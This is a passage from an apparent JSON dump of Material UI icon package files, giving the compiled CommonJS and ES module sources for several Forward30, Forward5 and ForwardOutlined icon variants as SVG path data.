.21.04.39.12.55s.19.28.33.38.29.18.46.23.35.07.53.07c.21 0 .41-.03.6-.08s.34-.14.48-.24.24-.24.32-.39.12-.33.12-.53c0-.23-.06-.44-.18-.61s-.3-.3-.54-.39c.1-.05.2-.1.28-.17s.15-.14.2-.22.1-.16.13-.25.04-.18.04-.27c0-.2-.04-.37-.11-.53s-.17-.28-.3-.38-.28-.18-.46-.23-.37-.08-.59-.08c-.19 0-.38.03-.54.08s-.32.13-.44.23-.23.22-.3.37-.11.3-.11.48h.85c0-.07.02-.14.05-.2s.07-.11.12-.15.11-.07.18-.1.14-.03.22-.03c.1 0 .18.01.25.04s.13.06.18.11.08.11.11.17.04.14.04.22c0 .18-.05.32-.16.43s-.26.16-.48.16h-.43v.66h.45c.11 0 .2.01.29.04s.16.06.22.11.11.12.14.2.05.18.05.29c0 .09-.01.17-.04.24s-.08.11-.13.17m3.9-3.44c-.18-.07-.37-.1-.59-.1s-.41.03-.59.1-.33.18-.45.33-.23.34-.29.57-.1.5-.1.82v.74c0 .32.04.6.11.82s.17.42.3.57.28.26.46.33.37.1.59.1.41-.03.59-.1.33-.18.45-.33.22-.34.29-.57.1-.5.1-.82v-.74c0-.32-.04-.6-.11-.82s-.17-.42-.3-.57-.28-.26-.46-.33m.01 2.57c0 .19-.01.35-.04.48s-.06.24-.11.32-.11.14-.19.17-.16.05-.25.05-.18-.02-.25-.05-.14-.09-.19-.17-.09-.19-.12-.32-.04-.29-.04-.48v-.97c0-.19.01-.35.04-.48s.06-.23.12-.31.11-.14.19-.17.16-.05.25-.05.18.02.25.05.14.09.19.17.09.18.12.31.04.29.04.48v.97z\"\n}), 'Forward30Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward30Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.92 13c-.5 0-.91.37-.98.86-.48 3.37-3.77 5.84-7.42 4.96-2.25-.54-3.91-2.27-4.39-4.53C5.32 10.42 8.27 7 12 7v2.79c0 .45.54.67.85.35l3.79-3.79c.2-.2.2-.51 0-.71l-3.79-3.79c-.31-.31-.85-.09-.85.36V5c-4.94 0-8.84 4.48-7.84 9.6.6 3.11 2.9 5.5 5.99 6.19 4.83 1.08 9.15-2.2 9.77-6.67.09-.59-.4-1.12-1-1.12m-8.38 2.22c-.06.05-.12.09-.2.12s-.17.04-.27.04c-.09 0-.17-.01-.25-.04s-.14-.06-.2-.11-.1-.1-.13-.17-.05-.14-.05-.22h-.85c0 .21.04.39.12.55s.19.28.33.38.29.18.46.23.35.07.53.07c.21 0 .41-.03.6-.08s.34-.14.48-.24.24-.24.32-.39.12-.33.12-.53c0-.23-.06-.44-.18-.61s-.3-.3-.54-.39c.1-.05.2-.1.28-.17s.15-.14.2-.22.1-.16.13-.25.04-.18.04-.27c0-.2-.04-.37-.11-.53s-.17-.28-.3-.38-.28-.18-.46-.23-.37-.08-.59-.08c-.19 0-.38.03-.54.08s-.32.13-.44.23-.23.22-.3.37-.11.3-.11.48h.85c0-.07.02-.14.05-.2s.07-.11.12-.15.11-.07.18-.1.14-.03.22-.03c.1 0 .18.01.25.04s.13.06.18.11.08.11.11.17.04.14.04.22c0 .18-.05.32-.16.43s-.26.16-.48.16h-.43v.66h.45c.11 0 .2.01.29.04s.16.06.22.11.11.12.14.2.05.18.05.29c0 .09-.01.17-.04.24s-.08.11-.13.17m3.9-3.44c-.18-.07-.37-.1-.59-.1s-.41.03-.59.1-.33.18-.45.33-.23.34-.29.57-.1.5-.1.82v.74c0 .32.04.6.11.82s.17.42.3.57.28.26.46.33.37.1.59.1.41-.03.59-.1.33-.18.45-.33.22-.34.29-.57.1-.5.1-.82v-.74c0-.32-.04-.6-.11-.82s-.17-.42-.3-.57-.28-.26-.46-.33m.01 2.57c0 .19-.01.35-.04.48s-.06.24-.11.32-.11.14-.19.17-.16.05-.25.05-.18-.02-.25-.05-.14-.09-.19-.17-.09-.19-.12-.32-.04-.29-.04-.48v-.97c0-.19.01-.35.04-.48s.06-.23.12-.31.11-.14.19-.17.16-.05.25-.05.18.02.25.05.14.09.19.17.09.18.12.31.04.29.04.48v.97z\"\n}), 'Forward30Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward30Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c0 3.31-2.69 6-6 6s-6-2.69-6-6 2.69-6 6-6v4l5-5-5-5v4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8zm-7.46 2.22c-.06.05-.12.09-.2.12s-.17.04-.27.04c-.09 0-.17-.01-.25-.04s-.14-.06-.2-.11-.1-.1-.13-.17-.05-.14-.05-.22h-.85c0 .21.04.39.12.55s.19.28.33.38.29.18.46.23.35.07.53.07c.21 0 .41-.03.6-.08s.34-.14.48-.24.24-.24.32-.39.12-.33.12-.53c0-.23-.06-.44-.18-.61s-.3-.3-.54-.39c.1-.05.2-.1.28-.17s.15-.14.2-.22.1-.16.13-.25.04-.18.04-.27c0-.2-.04-.37-.11-.53s-.17-.28-.3-.38-.28-.18-.46-.23-.37-.08-.59-.08c-.19 0-.38.03-.54.08s-.32.13-.44.23-.23.22-.3.37-.11.3-.11.48h.85c0-.07.02-.14.05-.2s.07-.11.12-.15.11-.07.18-.1.14-.03.22-.03c.1 0 .18.01.25.04s.13.06.18.11.08.11.11.17.04.14.04.22c0 .18-.05.32-.16.43s-.26.16-.48.16h-.43v.66h.45c.11 0 .2.01.29.04s.16.06.22.11.11.12.14.2.05.18.05.29c0 .09-.01.17-.04.24s-.08.11-.13.17m3.9-3.44c-.18-.07-.37-.1-.59-.1s-.41.03-.59.1-.33.18-.45.33-.23.34-.29.57-.1.5-.1.82v.74c0 .32.04.6.11.82s.17.42.3.57.28.26.46.33.37.1.59.1.41-.03.59-.1.33-.18.45-.33.22-.34.29-.57.1-.5.1-.82v-.74c0-.32-.04-.6-.11-.82s-.17-.42-.3-.57-.28-.26-.46-.33m.01 2.57c0 .19-.01.35-.04.48s-.06.24-.11.32-.11.14-.19.17-.16.05-.25.05-.18-.02-.25-.05-.14-.09-.19-.17-.09-.19-.12-.32-.04-.29-.04-.48v-.97c0-.19.01-.35.04-.48s.06-.23.12-.31.11-.14.19-.17.16-.05.25-.05.18.02.25.05.14.09.19.17.09.18.12.31.04.29.04.48v.97z\"\n}), 'Forward30Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward30Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c0 3.31-2.69 6-6 6s-6-2.69-6-6 2.69-6 6-6v4l5-5-5-5v4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8zm-7.46 2.22c-.06.05-.12.09-.2.12s-.17.04-.27.04c-.09 0-.17-.01-.25-.04s-.14-.06-.2-.11-.1-.1-.13-.17-.05-.14-.05-.22h-.85c0 .21.04.39.12.55s.19.28.33.38.29.18.46.23.35.07.53.07c.21 0 .41-.03.6-.08s.34-.14.48-.24.24-.24.32-.39.12-.33.12-.53c0-.23-.06-.44-.18-.61s-.3-.3-.54-.39c.1-.05.2-.1.28-.17s.15-.14.2-.22.1-.16.13-.25.04-.18.04-.27c0-.2-.04-.37-.11-.53s-.17-.28-.3-.38-.28-.18-.46-.23-.37-.08-.59-.08c-.19 0-.38.03-.54.08s-.32.13-.44.23-.23.22-.3.37-.11.3-.11.48h.85c0-.07.02-.14.05-.2s.07-.11.12-.15.11-.07.18-.1.14-.03.22-.03c.1 0 .18.01.25.04s.13.06.18.11.08.11.11.17.04.14.04.22c0 .18-.05.32-.16.43s-.26.16-.48.16h-.43v.66h.45c.11 0 .2.01.29.04s.16.06.22.11.11.12.14.2.05.18.05.29c0 .09-.01.17-.04.24s-.08.11-.13.17m3.9-3.44c-.18-.07-.37-.1-.59-.1s-.41.03-.59.1-.33.18-.45.33-.23.34-.29.57-.1.5-.1.82v.74c0 .32.04.6.11.82s.17.42.3.57.28.26.46.33.37.1.59.1.41-.03.59-.1.33-.18.45-.33.22-.34.29-.57.1-.5.1-.82v-.74c0-.32-.04-.6-.11-.82s-.17-.42-.3-.57-.28-.26-.46-.33m.01 2.57c0 .19-.01.35-.04.48s-.06.24-.11.32-.11.14-.19.17-.16.05-.25.05-.18-.02-.25-.05-.14-.09-.19-.17-.09-.19-.12-.32-.04-.29-.04-.48v-.97c0-.19.01-.35.04-.48s.06-.23.12-.31.11-.14.19-.17.16-.05.25-.05.18.02.25.05.14.09.19.17.09.18.12.31.04.29.04.48v.97z\"\n}), 'Forward30Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward30TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c0 3.31-2.69 6-6 6s-6-2.69-6-6 2.69-6 6-6v4l5-5-5-5v4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8zm-7.46 2.22c-.06.05-.12.09-.2.12s-.17.04-.27.04c-.09 0-.17-.01-.25-.04s-.14-.06-.2-.11-.1-.1-.13-.17-.05-.14-.05-.22h-.85c0 .21.04.39.12.55s.19.28.33.38.29.18.46.23.35.07.53.07c.21 0 .41-.03.6-.08s.34-.14.48-.24.24-.24.32-.39.12-.33.12-.53c0-.23-.06-.44-.18-.61s-.3-.3-.54-.39c.1-.05.2-.1.28-.17s.15-.14.2-.22.1-.16.13-.25.04-.18.04-.27c0-.2-.04-.37-.11-.53s-.17-.28-.3-.38-.28-.18-.46-.23-.37-.08-.59-.08c-.19 0-.38.03-.54.08s-.32.13-.44.23-.23.22-.3.37-.11.3-.11.48h.85c0-.07.02-.14.05-.2s.07-.11.12-.15.11-.07.18-.1.14-.03.22-.03c.1 0 .18.01.25.04s.13.06.18.11.08.11.11.17.04.14.04.22c0 .18-.05.32-.16.43s-.26.16-.48.16h-.43v.66h.45c.11 0 .2.01.29.04s.16.06.22.11.11.12.14.2.05.18.05.29c0 .09-.01.17-.04.24s-.08.11-.13.17m3.9-3.44c-.18-.07-.37-.1-.59-.1s-.41.03-.59.1-.33.18-.45.33-.23.34-.29.57-.1.5-.1.82v.74c0 .32.04.6.11.82s.17.42.3.57.28.26.46.33.37.1.59.1.41-.03.59-.1.33-.18.45-.33.22-.34.29-.57.1-.5.1-.82v-.74c0-.32-.04-.6-.11-.82s-.17-.42-.3-.57-.28-.26-.46-.33m.01 2.57c0 .19-.01.35-.04.48s-.06.24-.11.32-.11.14-.19.17-.16.05-.25.05-.18-.02-.25-.05-.14-.09-.19-.17-.09-.19-.12-.32-.04-.29-.04-.48v-.97c0-.19.01-.35.04-.48s.06-.23.12-.31.11-.14.19-.17.16-.05.25-.05.18.02.25.05.14.09.19.17.09.18.12.31.04.29.04.48v.97z\"\n}), 'Forward30TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward30TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c0 3.31-2.69 6-6 6s-6-2.69-6-6 2.69-6 6-6v4l5-5-5-5v4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8zm-7.46 2.22c-.06.05-.12.09-.2.12s-.17.04-.27.04c-.09 0-.17-.01-.25-.04s-.14-.06-.2-.11-.1-.1-.13-.17-.05-.14-.05-.22h-.85c0 .21.04.39.12.55s.19.28.33.38.29.18.46.23.35.07.53.07c.21 0 .41-.03.6-.08s.34-.14.48-.24.24-.24.32-.39.12-.33.12-.53c0-.23-.06-.44-.18-.61s-.3-.3-.54-.39c.1-.05.2-.1.28-.17s.15-.14.2-.22.1-.16.13-.25.04-.18.04-.27c0-.2-.04-.37-.11-.53s-.17-.28-.3-.38-.28-.18-.46-.23-.37-.08-.59-.08c-.19 0-.38.03-.54.08s-.32.13-.44.23-.23.22-.3.37-.11.3-.11.48h.85c0-.07.02-.14.05-.2s.07-.11.12-.15.11-.07.18-.1.14-.03.22-.03c.1 0 .18.01.25.04s.13.06.18.11.08.11.11.17.04.14.04.22c0 .18-.05.32-.16.43s-.26.16-.48.16h-.43v.66h.45c.11 0 .2.01.29.04s.16.06.22.11.11.12.14.2.05.18.05.29c0 .09-.01.17-.04.24s-.08.11-.13.17m3.9-3.44c-.18-.07-.37-.1-.59-.1s-.41.03-.59.1-.33.18-.45.33-.23.34-.29.57-.1.5-.1.82v.74c0 .32.04.6.11.82s.17.42.3.57.28.26.46.33.37.1.59.1.41-.03.59-.1.33-.18.45-.33.22-.34.29-.57.1-.5.1-.82v-.74c0-.32-.04-.6-.11-.82s-.17-.42-.3-.57-.28-.26-.46-.33m.01 2.57c0 .19-.01.35-.04.48s-.06.24-.11.32-.11.14-.19.17-.16.05-.25.05-.18-.02-.25-.05-.14-.09-.19-.17-.09-.19-.12-.32-.04-.29-.04-.48v-.97c0-.19.01-.35.04-.48s.06-.23.12-.31.11-.14.19-.17.16-.05.25-.05.18.02.25.05.14.09.19.17.09.18.12.31.04.29.04.48v.97z\"\n}), 'Forward30TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward5.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18 13c0 3.31-2.69 6-6 6s-6-2.69-6-6 2.69-6 6-6v4l5-5-5-5v4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8z\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12.03 15.38c-.44 0-.58-.31-.6-.56h-.84c.03.85.79 1.25 1.44 1.25.93 0 1.44-.63 1.44-1.43 0-1.33-.97-1.44-1.3-1.44-.2 0-.43.05-.64.16l.11-.92h1.7v-.71h-2.39l-.25 2.17.67.17c.13-.13.28-.23.57-.23.4 0 .69.23.69.75-.01.05.02.79-.6.79\"\n}, \"1\")], 'Forward5');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward5.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18 13c0 3.31-2.69 6-6 6s-6-2.69-6-6 2.69-6 6-6v4l5-5-5-5v4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8z\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M12.03 15.38c-.44 0-.58-.31-.6-.56h-.84c.03.85.79 1.25 1.44 1.25.93 0 1.44-.63 1.44-1.43 0-1.33-.97-1.44-1.3-1.44-.2 0-.43.05-.64.16l.11-.92h1.7v-.71h-2.39l-.25 2.17.67.17c.13-.13.28-.23.57-.23.4 0 .69.23.69.75-.01.05.02.79-.6.79\"\n}, \"1\")], 'Forward5');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward5Outlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.95 13c0 3.31-2.69 6-6 6s-6-2.69-6-6 2.69-6 6-6v4l5-5-5-5v4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8zm-5.52 2.15c-.05.07-.11.13-.18.17s-.17.06-.27.06q-.255 0-.42-.15c-.165-.15-.17-.24-.19-.41h-.84c.01.2.05.37.13.53s.19.28.32.39.29.19.46.24.35.08.53.08c.24 0 .46-.04.64-.12s.33-.18.45-.31.21-.28.27-.45.09-.35.09-.54c0-.22-.03-.43-.09-.6s-.14-.33-.25-.45-.25-.22-.41-.28-.34-.1-.55-.1c-.07 0-.14.01-.2.02s-.13.02-.18.04-.1.03-.15.05-.08.04-.11.05l.11-.92h1.7v-.71H10.9l-.25 2.17.67.17c.03-.03.06-.06.1-.09s.07-.05.12-.07.1-.04.15-.05.13-.02.2-.02c.12 0 .22.02.3.05s.16.09.21.15.1.14.13.24.04.19.04.31-.01.22-.03.31-.06.17-.11.24\"\n}), 'Forward5Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward5Outlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.95 13c0 3.31-2.69 6-6 6s-6-2.69-6-6 2.69-6 6-6v4l5-5-5-5v4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8zm-5.52 2.15c-.05.07-.11.13-.18.17s-.17.06-.27.06q-.255 0-.42-.15c-.165-.15-.17-.24-.19-.41h-.84c.01.2.05.37.13.53s.19.28.32.39.29.19.46.24.35.08.53.08c.24 0 .46-.04.64-.12s.33-.18.45-.31.21-.28.27-.45.09-.35.09-.54c0-.22-.03-.43-.09-.6s-.14-.33-.25-.45-.25-.22-.41-.28-.34-.1-.55-.1c-.07 0-.14.01-.2.02s-.13.02-.18.04-.1.03-.15.05-.08.04-.11.05l.11-.92h1.7v-.71H10.9l-.25 2.17.67.17c.03-.03.06-.06.1-.09s.07-.05.12-.07.1-.04.15-.05.13-.02.2-.02c.12 0 .22.02.3.05s.16.09.21.15.1.14.13.24.04.19.04.31-.01.22-.03.31-.06.17-.11.24\"\n}), 'Forward5Outlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward5Rounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M18.87 13c-.5 0-.91.37-.98.86-.48 3.37-3.77 5.84-7.42 4.96-2.25-.54-3.91-2.27-4.39-4.53C5.27 10.42 8.22 7 11.95 7v2.79c0 .45.54.67.85.35l3.79-3.79c.2-.2.2-.51 0-.71L12.8 1.85c-.31-.31-.85-.09-.85.35V5c-4.94 0-8.84 4.48-7.84 9.6.6 3.11 2.9 5.5 5.99 6.19 4.83 1.08 9.15-2.2 9.77-6.67.09-.59-.4-1.12-1-1.12m-6.44 2.15c-.05.07-.11.13-.18.17s-.17.06-.27.06q-.255 0-.42-.15c-.165-.15-.17-.24-.19-.41h-.84c.01.2.05.37.13.53s.19.28.32.39.29.19.46.24.35.08.53.08c.24 0 .46-.04.64-.12s.33-.18.45-.31.21-.28.27-.45.09-.35.09-.54c0-.22-.03-.43-.09-.6s-.14-.33-.25-.45-.25-.22-.41-.28-.34-.1-.55-.1c-.07 0-.14.01-.2.02s-.13.02-.18.04-.1.03-.15.05-.08.04-.11.05l.11-.92h1.7v-.71H10.9l-.25 2.17.67.17c.03-.03.06-.06.1-.09s.07-.05.12-.07.1-.04.15-.05.13-.02.2-.02c.12 0 .22.02.3.05s.16.09.21.15.1.14.13.24.04.19.04.31-.01.22-.03.31-.06.17-.11.24\"\n}), 'Forward5Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward5Rounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M18.87 13c-.5 0-.91.37-.98.86-.48 3.37-3.77 5.84-7.42 4.96-2.25-.54-3.91-2.27-4.39-4.53C5.27 10.42 8.22 7 11.95 7v2.79c0 .45.54.67.85.35l3.79-3.79c.2-.2.2-.51 0-.71L12.8 1.85c-.31-.31-.85-.09-.85.35V5c-4.94 0-8.84 4.48-7.84 9.6.6 3.11 2.9 5.5 5.99 6.19 4.83 1.08 9.15-2.2 9.77-6.67.09-.59-.4-1.12-1-1.12m-6.44 2.15c-.05.07-.11.13-.18.17s-.17.06-.27.06q-.255 0-.42-.15c-.165-.15-.17-.24-.19-.41h-.84c.01.2.05.37.13.53s.19.28.32.39.29.19.46.24.35.08.53.08c.24 0 .46-.04.64-.12s.33-.18.45-.31.21-.28.27-.45.09-.35.09-.54c0-.22-.03-.43-.09-.6s-.14-.33-.25-.45-.25-.22-.41-.28-.34-.1-.55-.1c-.07 0-.14.01-.2.02s-.13.02-.18.04-.1.03-.15.05-.08.04-.11.05l.11-.92h1.7v-.71H10.9l-.25 2.17.67.17c.03-.03.06-.06.1-.09s.07-.05.12-.07.1-.04.15-.05.13-.02.2-.02c.12 0 .22.02.3.05s.16.09.21.15.1.14.13.24.04.19.04.31-.01.22-.03.31-.06.17-.11.24\"\n}), 'Forward5Rounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward5Sharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.95 13c0 3.31-2.69 6-6 6s-6-2.69-6-6 2.69-6 6-6v4l5-5-5-5v4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8zm-5.52 2.15c-.05.07-.11.13-.18.17s-.17.06-.27.06q-.255 0-.42-.15c-.165-.15-.17-.24-.19-.41h-.84c.01.2.05.37.13.53s.19.28.32.39.29.19.46.24.35.08.53.08c.24 0 .46-.04.64-.12s.33-.18.45-.31.21-.28.27-.45.09-.35.09-.54c0-.22-.03-.43-.09-.6s-.14-.33-.25-.45-.25-.22-.41-.28-.34-.1-.55-.1c-.07 0-.14.01-.2.02s-.13.02-.18.04-.1.03-.15.05-.08.04-.11.05l.11-.92h1.7v-.71H10.9l-.25 2.17.67.17c.03-.03.06-.06.1-.09s.07-.05.12-.07.1-.04.15-.05.13-.02.2-.02c.12 0 .22.02.3.05s.16.09.21.15.1.14.13.24.04.19.04.31-.01.22-.03.31-.06.17-.11.24\"\n}), 'Forward5Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward5Sharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.95 13c0 3.31-2.69 6-6 6s-6-2.69-6-6 2.69-6 6-6v4l5-5-5-5v4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8zm-5.52 2.15c-.05.07-.11.13-.18.17s-.17.06-.27.06q-.255 0-.42-.15c-.165-.15-.17-.24-.19-.41h-.84c.01.2.05.37.13.53s.19.28.32.39.29.19.46.24.35.08.53.08c.24 0 .46-.04.64-.12s.33-.18.45-.31.21-.28.27-.45.09-.35.09-.54c0-.22-.03-.43-.09-.6s-.14-.33-.25-.45-.25-.22-.41-.28-.34-.1-.55-.1c-.07 0-.14.01-.2.02s-.13.02-.18.04-.1.03-.15.05-.08.04-.11.05l.11-.92h1.7v-.71H10.9l-.25 2.17.67.17c.03-.03.06-.06.1-.09s.07-.05.12-.07.1-.04.15-.05.13-.02.2-.02c.12 0 .22.02.3.05s.16.09.21.15.1.14.13.24.04.19.04.31-.01.22-.03.31-.06.17-.11.24\"\n}), 'Forward5Sharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward5TwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M17.95 13c0 3.31-2.69 6-6 6s-6-2.69-6-6 2.69-6 6-6v4l5-5-5-5v4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8zm-5.52 2.15c-.05.07-.11.13-.18.17s-.17.06-.27.06q-.255 0-.42-.15c-.165-.15-.17-.24-.19-.41h-.84c.01.2.05.37.13.53s.19.28.32.39.29.19.46.24.35.08.53.08c.24 0 .46-.04.64-.12s.33-.18.45-.31.21-.28.27-.45.09-.35.09-.54c0-.22-.03-.43-.09-.6s-.14-.33-.25-.45-.25-.22-.41-.28-.34-.1-.55-.1c-.07 0-.14.01-.2.02s-.13.02-.18.04-.1.03-.15.05-.08.04-.11.05l.11-.92h1.7v-.71H10.9l-.25 2.17.67.17c.03-.03.06-.06.1-.09s.07-.05.12-.07.1-.04.15-.05.13-.02.2-.02c.12 0 .22.02.3.05s.16.09.21.15.1.14.13.24.04.19.04.31-.01.22-.03.31-.06.17-.11.24\"\n}), 'Forward5TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/Forward5TwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M17.95 13c0 3.31-2.69 6-6 6s-6-2.69-6-6 2.69-6 6-6v4l5-5-5-5v4c-4.42 0-8 3.58-8 8s3.58 8 8 8 8-3.58 8-8zm-5.52 2.15c-.05.07-.11.13-.18.17s-.17.06-.27.06q-.255 0-.42-.15c-.165-.15-.17-.24-.19-.41h-.84c.01.2.05.37.13.53s.19.28.32.39.29.19.46.24.35.08.53.08c.24 0 .46-.04.64-.12s.33-.18.45-.31.21-.28.27-.45.09-.35.09-.54c0-.22-.03-.43-.09-.6s-.14-.33-.25-.45-.25-.22-.41-.28-.34-.1-.55-.1c-.07 0-.14.01-.2.02s-.13.02-.18.04-.1.03-.15.05-.08.04-.11.05l.11-.92h1.7v-.71H10.9l-.25 2.17.67.17c.03-.03.06-.06.1-.09s.07-.05.12-.07.1-.04.15-.05.13-.02.2-.02c.12 0 .22.02.3.05s.16.09.21.15.1.14.13.24.04.19.04.31-.01.22-.03.31-.06.17-.11.24\"\n}), 'Forward5TwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForwardOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M14 8.83 17.17 12 14 15.17V14H6v-4h8zM12 4v4H4v8h8v4l8-8z\"\n}), 'ForwardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForwardOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M14 8.83 17.17 12 14 15.17V14H6v-4h8zM12 4v4H4v8h8v4l8-8z\"\n}), 'ForwardOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/ForwardRounded.js",
